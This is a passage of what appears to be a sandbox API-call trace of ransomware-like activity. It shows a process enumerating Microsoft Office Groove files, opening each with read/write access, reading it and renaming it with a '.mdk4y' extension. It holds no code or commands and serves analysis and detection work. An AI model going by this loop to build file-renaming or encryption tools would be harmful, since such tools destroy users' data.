(in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsColorChart.html", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsColorChart.htmlhtml", lpUsedDefaultChar=0x37dda8) returned 20 [0218.832] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406200000) returned 1 [0218.832] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2ef, lpOverlapped=0x0) returned 1 [0218.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406300000) returned 1 [0218.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406300000) returned 1 [0218.834] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsColorChart.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formscolorchart.html.mdk4y")) returned 1 [0218.835] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.835] AreFileApisANSI () returned 1 [0218.835] GetACP () returned 0x4e4 [0218.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsFormTemplate.html", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsFormTemplate.htmlml", lpUsedDefaultChar=0x37dda8) returned 22 [0218.835] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406500000) returned 1 [0218.835] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x115a, lpOverlapped=0x0) returned 1 [0218.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406700000) returned 1 [0218.837] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406700000) returned 1 [0218.837] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsFormTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsformtemplate.html.mdk4y")) returned 1 [0218.838] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.838] AreFileApisANSI () returned 1 [0218.838] GetACP () returned 0x4e4 [0218.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePage.html", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePage.htmlhtml", lpUsedDefaultChar=0x37dda8) returned 18 [0218.838] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406900000) returned 1 [0218.839] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xd9c, lpOverlapped=0x0) returned 1 [0218.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829407000000) returned 1 [0218.840] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829407000000) returned 1 [0218.840] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePage.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepage.html.mdk4y")) returned 1 [0218.841] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.841] AreFileApisANSI () returned 1 [0218.841] GetACP () returned 0x4e4 [0218.841] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePageScript.js", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePageScript.js", lpUsedDefaultChar=0x37dda8) returned 22 [0218.841] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829407200000) returned 1 [0218.842] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1e87, lpOverlapped=0x0) returned 1 [0218.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829407300000) returned 1 [0218.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829407300000) returned 1 [0218.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageScript.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagescript.js.mdk4y")) returned 1 [0218.844] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.844] AreFileApisANSI () returned 1 [0218.844] GetACP () returned 0x4e4 [0218.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsHomePageStyle.css", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsHomePageStyle.css", lpUsedDefaultChar=0x37dda8) returned 22 [0218.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829407500000) returned 1 [0218.845] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x314, lpOverlapped=0x0) returned 1 [0218.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829410400000) returned 1 [0218.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829410400000) returned 1 [0218.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsHomePageStyle.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formshomepagestyle.css.mdk4y")) returned 1 [0218.876] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.876] AreFileApisANSI () returned 1 [0218.876] GetACP () returned 0x4e4 [0218.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsImageTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsImageTemplate.htmll", lpUsedDefaultChar=0x37dda8) returned 23 [0218.876] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829410700000) returned 1 [0218.877] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x7f0, lpOverlapped=0x0) returned 1 [0218.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829410800000) returned 1 [0218.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829410800000) returned 1 [0218.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsImageTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsimagetemplate.html.mdk4y")) returned 1 [0218.880] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.880] AreFileApisANSI () returned 1 [0218.880] GetACP () returned 0x4e4 [0218.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsMacroTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsMacroTemplate.html", lpUsedDefaultChar=0x37dda8) returned 23 [0218.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829411000000) returned 1 [0218.880] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x858, lpOverlapped=0x0) returned 1 [0218.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829411200000) returned 1 [0218.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829411200000) returned 1 [0218.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsMacroTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsmacrotemplate.html.mdk4y")) returned 1 [0218.883] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.883] AreFileApisANSI () returned 1 [0218.883] GetACP () returned 0x4e4 [0218.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPreviewTemplate.html", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPreviewTemplate.html", lpUsedDefaultChar=0x37dda8) returned 25 [0218.883] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829411300000) returned 1 [0218.883] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x46a3, lpOverlapped=0x0) returned 1 [0218.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829411800000) returned 1 [0218.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829411800000) returned 1 [0218.889] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPreviewTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formspreviewtemplate.html.mdk4y")) returned 1 [0218.890] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.890] AreFileApisANSI () returned 1 [0218.890] GetACP () returned 0x4e4 [0218.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsPrintTemplate.html", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsPrintTemplate.htmlml", lpUsedDefaultChar=0x37dda8) returned 23 [0218.890] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829412100000) returned 1 [0218.891] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x612, lpOverlapped=0x0) returned 1 [0218.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829412400000) returned 1 [0218.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829412400000) returned 1 [0218.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsPrintTemplate.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsprinttemplate.html.mdk4y")) returned 1 [0218.895] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.895] AreFileApisANSI () returned 1 [0218.895] GetACP () returned 0x4e4 [0218.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsStyles", cchWideChar=11, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsStylesemplate.html", lpUsedDefaultChar=0x37dda8) returned 11 [0218.895] AreFileApisANSI () returned 1 [0218.895] GetACP () returned 0x4e4 [0218.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6ad838, cbMultiByte=95, lpWideCharStr=0x37db3c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\k7Őh\x02Ȁ") returned 95 [0218.897] AreFileApisANSI () returned 1 [0218.897] GetACP () returned 0x4e4 [0218.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dd1c) returned 1 [0218.897] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.897] AreFileApisANSI () returned 1 [0218.897] GetACP () returned 0x4e4 [0218.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dd1c) returned 2 [0218.897] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.898] AreFileApisANSI () returned 1 [0218.898] GetACP () returned 0x4e4 [0218.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Adobe.css", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Adobe.css", lpUsedDefaultChar=0x37dd1c) returned 9 [0218.898] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0218.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829412800000) returned 1 [0218.898] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x75f, lpOverlapped=0x0) returned 1 [0218.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829413000000) returned 1 [0218.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829413000000) returned 1 [0218.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Adobe.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\adobe.css.mdk4y")) returned 1 [0218.901] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0218.901] AreFileApisANSI () returned 1 [0218.901] GetACP () returned 0x4e4 [0218.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Americana", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Americana", lpUsedDefaultChar=0x37dd1c) returned 9 [0218.901] AreFileApisANSI () returned 1 [0218.901] GetACP () returned 0x4e4 [0218.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=105, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\꬀\x94") returned 105 [0218.901] AreFileApisANSI () returned 1 [0218.901] GetACP () returned 0x4e4 [0218.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0218.901] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.901] AreFileApisANSI () returned 1 [0218.902] GetACP () returned 0x4e4 [0218.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0218.902] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.902] AreFileApisANSI () returned 1 [0218.902] GetACP () returned 0x4e4 [0218.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0218.902] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0218.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829413300000) returned 1 [0218.903] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x155, lpOverlapped=0x0) returned 1 [0218.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829413300000) returned 1 [0218.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829413400000) returned 1 [0218.904] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana\\tab_off.gif.mdk4y")) returned 1 [0218.905] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0218.905] AreFileApisANSI () returned 1 [0218.905] GetACP () returned 0x4e4 [0218.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, 